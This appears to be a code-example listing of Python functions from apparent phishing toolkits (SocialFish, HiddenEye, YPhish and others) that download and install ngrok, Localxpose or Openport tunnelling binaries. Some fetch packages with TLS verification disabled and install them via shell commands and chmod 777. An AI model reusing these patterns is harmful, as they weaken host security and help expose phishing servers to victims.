コード例 #1
0
ファイル: Checks.py プロジェクト: miguelvm12/mv
def checkPermissions():

    if systemos() != "Windows":
        if getuid() == 0:
            print("{0}Permissions granted!".format(GREEN))
        else:
            print("{0}Permissions denied! Please run as '{1}sudo{0}'".format(
                RED, GREEN))
            exit()
    else:
        print(
            "{0}Windows system not yet compatible. Make sure you're using a *Unix OS.{1}"
            .format(RED, DEFAULT))
        exit()
コード例 #2
0
ファイル: SFv2.0.py プロジェクト: wep-134vit/Social-Fish-v2.0
def checkNgrok():
    if path.isfile('Server/ngrok') == False: 
        print '[*] Downloading Ngrok...'
        ostype = systemos().lower()
        if architecture()[0] == '64bit':
            filename = 'ngrok-stable-{0}-amd64.zip'.format(ostype)
        else:
            filename = 'ngrok-stable-{0}-386.zip'.format(ostype)
        url = 'https://bin.equinox.io/c/4VmDzA7iaHb/' + filename
        download(url)
        system('unzip ' + filename)
        system('mv ngrok Server/ngrok')
        system('rm -Rf ' + filename)
        system('clear')
コード例 #3
0
ファイル: Server.py プロジェクト: swagkarna/BackHAck
def Ngrok():
    if True:
        if 'Android' in str(check_output(('uname', '-a'))) or 'arm' in str(check_output(('uname', '-a'))):
            filename = 'ngrok-stable-linux-arm.zip'
        else:
            ostype = systemos().lower()
            if architecture()[0] == '64bit':
                filename = 'ngrok-stable-{0}-amd64.zip'.format(ostype)
            else:
                filename = 'ngrok-stable-{0}-386.zip'.format(ostype)
        url = 'https://bin.equinox.io/c/4VmDzA7iaHb/' + filename
        download(url)
        os.system('unzip ' + filename)
        os.system('rm -Rf ' + filename)
        os.system('clear')
コード例 #4
0
ファイル: pre.py プロジェクト: xianlimei/SocialFish
def checkNgrok():
    if path.isfile('base/Server/ngrok') == False:
        ngrokNot()
        if 'Android' in str(check_output(('uname', '-a'))):
            filename = 'ngrok-stable-linux-arm.zip'
        else:
            ostype = systemos().lower()
            if architecture()[0] == '64bit':
                filename = 'ngrok-stable-{0}-amd64.zip'.format(ostype)
            else:
                filename = 'ngrok-stable-{0}-386.zip'.format(ostype)
        url = 'https://bin.equinox.io/c/4VmDzA7iaHb/' + filename
        download(url)
        unzip(filename, 'base/Server/')
        remove(filename)
        clear()
コード例 #5
0
ファイル: Checks.py プロジェクト: warecrer/HiddenEye
def checkNgrok():  #Ngrok check
    if path.isfile('Server/ngrok') == False:  #Is Ngrok downloaded?
        print('[*] Downloading Ngrok...')
        if 'Android' in str(check_output(('uname', '-a'))):
            filename = 'ngrok-stable-linux-arm.zip'
        else:
            ostype = systemos().lower()
            if architecture()[0] == '64bit':
                filename = 'ngrok-stable-{0}-amd64.zip'.format(ostype)
            else:
                filename = 'ngrok-stable-{0}-386.zip'.format(ostype)
        url = 'https://bin.equinox.io/c/4VmDzA7iaHb/' + filename
        download(url)
        system('unzip ' + filename)
        system('mv ngrok Server/ngrok')
        system('rm -Rf ' + filename)
        system('clear')
コード例 #6
0
def Localxpose():
    if True:
        if 'Android' in str(check_output(
            ('uname', '-a'))) or 'arm' in str(check_output(('uname', '-a'))):
            filename = 'loclx-linux-arm.zip'
        else:
            ostype = systemos().lower()
            if architecture()[0] == '64bit':
                filename = 'loclx-linux-amd64.zip'.format(ostype)
            else:
                filename = 'loclx-linux-386.zip'.format(ostype)
        url = 'https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/' + filename
        download(url)
        os.system('unzip loclx*.zip')
        os.system('rm loclx*.zip')
        os.system("mv loclx* loclx")
        os.system('clear')
コード例 #7
0
ファイル: pre.py プロジェクト: iamihm/SocialFish
def checkNgrok():
    if path.isfile('base/Server/ngrok') == False: 
        print('[*] Downloading Ngrok...')
        if 'Android' in str(check_output(('uname', '-a'))):
            filename = 'ngrok-stable-linux-arm.zip'
        else:
            ostype = systemos().lower()
            if architecture()[0] == '64bit':
                filename = 'ngrok-stable-{0}-amd64.zip'.format(ostype)
            else:
                filename = 'ngrok-stable-{0}-386.zip'.format(ostype)
        url = 'https://bin.equinox.io/c/4VmDzA7iaHb/' + filename
        download(url)
        system('unzip ' + filename)
        system('mv ngrok base/Server/ngrok')
        system('rm -Rf ' + filename)
        system('clear')
コード例 #8
0
ファイル: YPhish.py プロジェクト: catasaagon/YPhish
def checkNgrok(): 
    if os.path.isfile('Server/ngrok') == False:
        print('[+] Descargando Ngrok...')
        if "Android" in str(check_output(("uname", "-a"))):
        #if "Android" in str(subprocess.check_output(("uname", "-a"))):
            filename = 'ngrok-stable-linux-arm.zip'
        else:
            ostype = systemos().lower()
            if architecture()[0] == '64bit':
                filename = 'ngrok-stable-{0}-amd64.zip'.format(ostype)
            else:
                filename = 'ngrok-stable-{0}-386.zip'.format(ostype)
        url = 'https://bin.equinox.io/c/4VmDzA7iaHb/' + filename
        download(url)
        os.system('unzip ' + filename)
        os.system('mv ngrok Server/ngrok')
        os.system('rm -Rf ' + filename)
        os.system('clear')
コード例 #9
0
ファイル: Checks.py プロジェクト: sheesanjay2/symbiote
def checkNgrok():
    if path.isfile('Server/ngrok') == False:
        print(' {0}[{2}*{0}]{2} Ngrok Not Found {0}!!'.format(
            RED, WHITE, CYAN, GREEN, DEFAULT, YELLOW))
        print(' {0}[{2}*{0}]{2} Downloading Ngrok...{5}'.format(
            RED, WHITE, CYAN, GREEN, DEFAULT, YELLOW))
        if 'Android' in str(check_output(
            ('uname', '-a'))) or 'arm' in str(check_output(('uname', '-a'))):
            filename = 'ngrok-stable-linux-arm.zip'
            url = 'https://bin.equinox.io/c/4VmDzA7iaHb/' + filename
            req = system('wget {0}'.format(url))
            #with open(filename, "wb") as file_obj:
            #file_obj.write(req.content)
            system('unzip ' + filename)
            system('mv ngrok Server/ngrok')
            system('rm ' + filename)
            system('chmod +x ngrok')
            system('clear')
            print(
                "\n\n\n\t\t{2}[{0}#{2}] {0}Restart program \n {2}Enter this command to run symbiote {0}-> {3}python3 symbiote.py"
                .format(RED, WHITE, CYAN, GREEN, DEFAULT, YELLOW))
            exit()
        else:
            ostype = systemos().lower()
            if architecture()[0] == '64bit':
                filename = 'ngrok-stable-{0}-amd64.zip'.format(ostype)
            else:
                filename = 'ngrok-stable-{0}-386.zip'.format(ostype)
        url = 'https://bin.equinox.io/c/4VmDzA7iaHb/' + filename
        req = system('wget {0}'.format(url))
        #with open(filename, "wb") as file_obj:
        #file_obj.write(req.content)
        system('unzip ' + filename)
        system('mv ngrok Server/ngrok')
        system('rm ' + filename)
        system('clear')
        print("{4} ".format(RED, WHITE, CYAN, GREEN, DEFAULT, YELLOW))
        #exit()
        sleep(2)
    else:
        print(" {0}[{2}*{0}] {2}NGROK INSTALLATION FOUND......".format(
            RED, WHITE, CYAN, GREEN, DEFAULT, YELLOW))
        sleep(1)
コード例 #10
0
def checkLocalxpose():  #Localxpose check
    if path.isfile('Server/loclx') == False:  #Is Localxpose downloaded?
        print(_('[*] Localxpose Not Found !!'))
        print(_('[*] Downloading Localxpose...'))
        if 'Android' in str(check_output(
            ('uname', '-a'))) or 'arm' in str(check_output(('uname', '-a'))):
            filename = 'loclx-linux-arm.zip'
        else:
            ostype = systemos().lower()
            if architecture()[0] == '64bit':
                filename = 'loclx-linux-amd64.zip'.format(ostype)
            else:
                filename = 'loclx-linux-386.zip'.format(ostype)
        url = 'https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/' + filename
        download(url)
        system('unzip loclx*.zip && rm loclx*.zip')
        system('mv loclx* loclx')
        system('mv loclx Server/')
        system('clear')
コード例 #11
0
def checkOpenport(): # Openport Check
	if 256 == system('which openport > /dev/null'):
		print('[*] Openport not Installed !!')
		print("[*] Installing Openport...")
		if 'Android' in str(check_output(('uname', '-a'))) or 'arm' in str(check_output(('uname', '-a'))):
			filename = 'arm/latest.deb'
		else:
			ostype = systemos().lower()
			if architecture()[0] == '64bit':
				filename = 'debian64/latest.deb'.format(ostype)
			else:
				filename = 'debian32/latest.deb'.format(ostype)
		url = 'https://openport.io/download/' + filename
		req = requests.get(url)
		filename2 = 'openport.deb'
		with open(filename2, "wb") as file_obj:
			file_obj.write(req.content)
		system('chmod 777 openport* && dpkg -i openport* > /dev/null && rm openport.deb && clear')
		checkOpenportinstall()
コード例 #12
0
def checkNgrok():  # Ngrok check
    if path.isfile('Server/ngrok') == False:  # Is Ngrok downloaded?
        print('[*] Ngrok Not Found !!')
        print('[*] Downloading Ngrok...')
        if 'Android' in str(check_output(('uname', '-a'))) or 'arm' in str(check_output(('uname', '-a'))):
            filename = 'ngrok-stable-linux-arm.zip'
        else:
            ostype = systemos().lower()
            if architecture()[0] == '64bit':
                filename = 'ngrok-stable-{0}-amd64.zip'.format(ostype)
            else:
                filename = 'ngrok-stable-{0}-386.zip'.format(ostype)
        url = 'https://bin.equinox.io/c/4VmDzA7iaHb/' + filename
        req = requests.get(url)
        with open(filename, "wb") as file_obj:
            file_obj.write(req.content)
        system('unzip ' + filename)
        system('mv ngrok Server/ngrok')
        system('rm ' + filename)
        system('clear')
コード例 #13
0
def checkLocalxpose():  # Localxpose check
    if path.isfile('Server/loclx') == False:  # Is Localxpose downloaded?
        print('[*] Localxpose Not Found !!')
        print('[*] Downloading Localxpose...')
        if 'Android' in str(check_output(
            ('uname', '-a'))) or 'arm' in str(check_output(('uname', '-a'))):
            filename = 'loclx-linux-arm.zip'
        else:
            ostype = systemos().lower()
            if architecture()[0] == '64bit':
                filename = 'loclx-linux-amd64.zip'.format(ostype)
            else:
                filename = 'loclx-linux-386.zip'.format(ostype)
        url = 'https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/' + filename
        req = requests.get(url, verify=False)
        with open("loclx-linux-download.zip", "wb") as file_obj:
            file_obj.write(req.content)
        system('unzip loclx-linux-download.zip && rm loclx-linux-download.zip')
        system('mv loclx-linux-* loclx && mv loclx Server/')
        system('clear')
コード例 #14
0
ファイル: Checks.py プロジェクト: sheesanjay2/symbiote
def checkLocalxpose():
    if path.isfile('Server/loclx') == False:
        print(' {0}[{2}*{0}]{2} Localxpose Not Found {0}!!'.format(
            RED, WHITE, CYAN, GREEN, DEFAULT, YELLOW))
        print(' {0}[{2}*{0}]{2} Downloading Localxpose...{5}'.format(
            RED, WHITE, CYAN, GREEN, DEFAULT, YELLOW))
        if 'Android' in str(check_output(
            ('uname', '-a'))) or 'arm' in str(check_output(('uname', '-a'))):
            filename = 'loclx-linux-arm.zip'
            url = 'https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/' + filename
            req = system('wget {0}'.format(url))
            #with open("{0}", "wb".format(filename)) as file_obj:
            #file_obj.write(req.content)
            system('unzip {0} && rm {0}'.format(filename))
            system(
                'mv loclx-linux-* loclx && chmod +x loclx && mv loclx Server/')
            system('clear')
            print(
                "\n\n\n\t\t{2}[{0}#{2}] {0}Restart program \n {2}Enter this command to run symbiote{0}-> {3}python3 symbiote.py"
                .format(RED, WHITE, CYAN, GREEN, DEFAULT, YELLOW))
            exit()
        else:
            ostype = systemos().lower()
            if architecture()[0] == '64bit':
                filename = 'loclx-linux-amd64.zip'.format(ostype)
            else:
                filename = 'loclx-linux-386.zip'.format(ostype)
        url = 'https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/' + filename
        req = system('wget {0}'.format(url))
        #with open("{0}", "wb".format(filename)) as file_obj:
        #file_obj.write(req.content)
        system('unzip {0} && rm {0}'.format(filename))
        system('mv loclx-linux-* loclx && mv loclx Server/')
        print("{1} ".format(GREEN, DEFAULT, RED))
        #exit()
        sleep(2)
    else:
        print(" {0}[{2}*{0}] {2}LOCALXPOSE INSTALLATION FOUND.....".format(
            RED, WHITE, CYAN, GREEN, DEFAULT, YELLOW))
        sleep(1)
コード例 #15
0
def checkOpenport():  # Openport Check
    if 256 == system('which openport > /dev/null'):
        print("{1}[{0}>{1}] {0}OPENPORT {0}- {1}[NOT-INSTALLED]".format(
            GREEN, RED))
        print("{1}[{0}>{1}] {0}Installing OPENPORT...".format(GREEN, RED))
        if 'Android' in str(check_output(
            ('uname', '-a'))) or 'arm' in str(check_output(('uname', '-a'))):
            filename = 'arm/latest.deb'
        else:
            ostype = systemos().lower()
            if architecture()[0] == '64bit':
                filename = 'debian64/latest.deb'.format(ostype)
            else:
                filename = 'debian32/latest.deb'.format(ostype)
        url = 'https://openport.io/download/' + filename
        req = requests.get(url, verify=False)
        filename2 = 'openport.deb'
        with open(filename2, "wb") as file_obj:
            file_obj.write(req.content)
        system(
            'chmod 777 openport* > /dev/null 2>&1 && dpkg -i openport* > /dev/null 2>&1 && rm openport.deb > /dev/null 2>&1'
        )
        checkOpenportinstall()
コード例 #16
0
#!/usr/bin/python
import tempfile
from platform import system as systemos

ostype = systemos().lower()
tmpdir = tempfile.gettempdir()

def readconf():
    if ostype == 'windows':
        cfgfile = tmpdir + '\conf.ini'
        return cfgfile
    else:
        cfgfile = tmpdir+'/conf.ini'
        return cfgfile
		
if __name__ == "__main__":

	readconf()